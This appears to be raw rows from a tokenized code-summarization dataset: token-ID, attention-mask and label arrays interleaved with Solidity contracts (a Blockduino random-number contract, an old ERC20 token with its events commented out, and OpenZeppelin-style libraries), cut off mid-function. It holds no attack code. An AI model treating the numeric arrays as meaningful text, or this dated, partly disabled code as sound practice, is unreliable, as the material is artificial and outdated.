20542,
1235,
6,
2982,
434,
392,
2236,
261,
22,
66,
10395,
2934,
19,
1788,
394,
4115,
7269,
3155,
6835,
18,
19,
2256,
5083,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
4115,
6466,
1345,
1832,
1071,
4115,
1345,
1832,
288,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/*
* Copyright (C) 2018, Visible Energy Inc. and the Blockduino contributors.
*/
pragma solidity ^0.4.24;
import "https://github.com/Blockduino/Contracts/BlockduinoSDK.sol";
// to use with remixd with mount point at the same level of Blockduino repos:
// import "localhost/contracts/BlockduinoSDK.sol";
/// @title A random number generator using a TrueRNG device controlled by a Blockduino board
/// @notice This is a contract showing the use of the BlockduinoSDK
/// @dev Communication with the Blockduino board is handled by the usingBlockduinoSDK base contract
contract Randomizer is usingBlockduinoSDK {
address public owner; // contract owner
address public device; // the device address of the Blockduino with the RNG
/// @dev event to watch in any dApp using this contract
event RandomNumber(string log, address _device, uint64 error, string response);
string public randomNumber; // last random number generated
bytes32 public randomNumberBytes; // last random bytes sequence received
int public lastError; // Blockduino error status returned
uint public RNG_FEE = 0.02 ether; // payment for operating the hardware RNG
uint256 public req_value; // actual amount paid to the device account
/// @dev Deploy this contract passing the address of the deployed Blockduino core contract
/// and the address of the Blockduino device controlling the TrueRNG hardware.
/// @dev Deposit some funds in the contract to pay gas for the transactions.
constructor (address BDcontract, address BDboard) usingBlockduinoSDK(BDcontract, msg.sender) public payable {
// the constructor is payable so that funds can be sent to it at Deploy time
// funds are needed in the contract to pay for gas of transfer functions
owner = msg.sender;
device = BDboard;
}
// fallback function
function() public payable {} // must be payable for the contract to take a payment
// Convert a bytes32 to a string
function bytes32ToString(bytes32 x) pure private returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
/// @dev The function called by the Blockduino board as response transaction to the RPC sent to the board
/// @param respData the result of the Blockduino RPC
/// @param error any error from the Blockduino
function readRandomCallback(uint64 error, bytes32 respData) public {
// safety check: sender must be the Blockduino contract (address inherited from SDK)
if (msg.sender != address(CONTRACT)) {
return;
}
// assign the random number to the global public variables
randomNumberBytes = respData;
randomNumber = bytes32ToString(respData);
lastError = error;
// for any dApp monitoring the device to get the randomNumber
emit RandomNumber("received from Randomizer", device, error, randomNumber);
}
/// @dev readRandomCallback function signature used as function ID
bytes4 constant RNG_CB_FID = bytes4(keccak256("readRandomCallback(uint64,bytes32)"));
/// @notice Send `RNG_FEE` ether to the Blockduino account `device` to generate a true random number from the device.
/// @dev The random number is obtained by reading the serial port of the Blockduino board
/// where the TureRNG device is connected to.
function generate() public payable {
int req_reply;
// check payment sent to the contract
require(msg.value >= RNG_FEE, "fee paid below minimum");
// the Blockduino device will use some gas for the RPC request to use in the response
req_value = msg.value;
// send the payment for operating the hardware RNF to the Blockduino wallet
device.transfer(req_value);
// read 64 bytes from the random number generator hardware connected to serial
req_reply = serialRead(device, 64, RNG_CB_FID); // function inherited from the SDK
}
} | function inherited from the SDK
| req_reply = serialRead(device, 64, RNG_CB_FID); | 12,697,391 | [
1,
915,
12078,
628,
326,
3881,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
1111,
67,
10629,
273,
2734,
1994,
12,
5964,
16,
5178,
16,
534,
4960,
67,
8876,
67,
42,
734,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
//emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
// emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
// emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
// emit Burn(_from, _value);
return true;
}
} | * Transfer tokens Send `_value` tokens to `_to` from your account @param _to The address of the recipient @param _value the amount to send/ | function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
| 10,951,035 | [
1,
5912,
2430,
2479,
1375,
67,
1132,
68,
2430,
358,
1375,
67,
869,
68,
628,
3433,
2236,
225,
389,
869,
1021,
1758,
434,
326,
8027,
225,
389,
1132,
326,
3844,
358,
1366,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
915,
7412,
12,
2867,
389,
869,
16,
2254,
5034,
389,
1132,
13,
1071,
1135,
261,
6430,
2216,
13,
288,
203,
67,
13866,
12,
3576,
18,
15330,
16,
389,
869,
16,
389,
1132,
1769,
203,
2463,
638,
31,
203,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2021-08-18
*/
/**
*Submitted for verification at Etherscan.io on 2021-08-18
*/
/**
*Submitted for verification at Etherscan.io on 2021-08-17
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
